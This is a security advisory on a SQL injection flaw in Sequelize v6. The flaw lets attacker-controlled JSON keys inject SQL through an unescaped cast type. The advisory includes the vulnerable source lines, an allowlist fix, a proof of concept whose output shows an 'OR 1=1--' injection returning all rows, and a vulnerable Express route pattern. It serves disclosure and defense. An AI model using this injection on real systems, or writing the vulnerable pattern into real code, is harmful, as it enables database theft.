SQL injection In sequelize
Description
Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type
Summary
SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.
Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.
Details
In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:
// line 1892 _traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; }...
_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:
return `CAST(${result} AS ${smth.type.toUpperCase()})`;
JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.
Suggested fix — whitelist known SQL data types:
const ALLOWED_CAST_TYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]); if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) { throw new Error(`Invalid cast type: ${cast}`);...
PoC
npm install [email protected] sqlite3
const { Sequelize, DataTypes } = require('sequelize'); async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false }); const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON,...
Output:
SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ] SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0...
Impact
SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).
A common vulnerable pattern:
app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); });
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
npm | 6.37.8 |
Aliases
References